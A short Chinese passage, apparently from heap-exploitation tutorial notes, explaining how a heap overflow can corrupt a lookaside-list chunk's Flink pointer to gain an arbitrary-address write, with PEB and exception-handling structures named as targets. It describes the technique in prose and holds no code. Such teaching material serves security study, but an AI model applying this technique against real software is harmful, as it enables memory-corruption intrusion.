​ 在堆溢出的基础上,使与可溢出堆块相邻的下一个堆块链入空表,再利用堆溢出将链入空表堆块的前项指针修改为函数跳转地址或虚表地址。构造好堆块后,在接下来快表第一次分配相应大小的堆块时会将被篡改堆头的堆块分配给用户使用,并将非法Flink地址作为堆头链入空表头结点,在快表第二次分配相应大小的堆块时,即可将指定地址及其后方空间作为堆块申请给用户使用,再对堆块进行赋值即可造成任意地址写任意数据的操作。该伪造的地址一般可以为敏感函数、虚表地址等以及上文所提到的该版本中的堆攻击重灾区:P.E.B结构及异常处理机制中的各种结构.

​ 如果控制 node->next 就控制了 Lookaside[n]-> next,进而当用户再次申请空间的时候系统就会将这个伪造的地址作为申请空间的起始地址返回给用户,用户一旦向该空间里写入数据就会留下溢出的隐患 。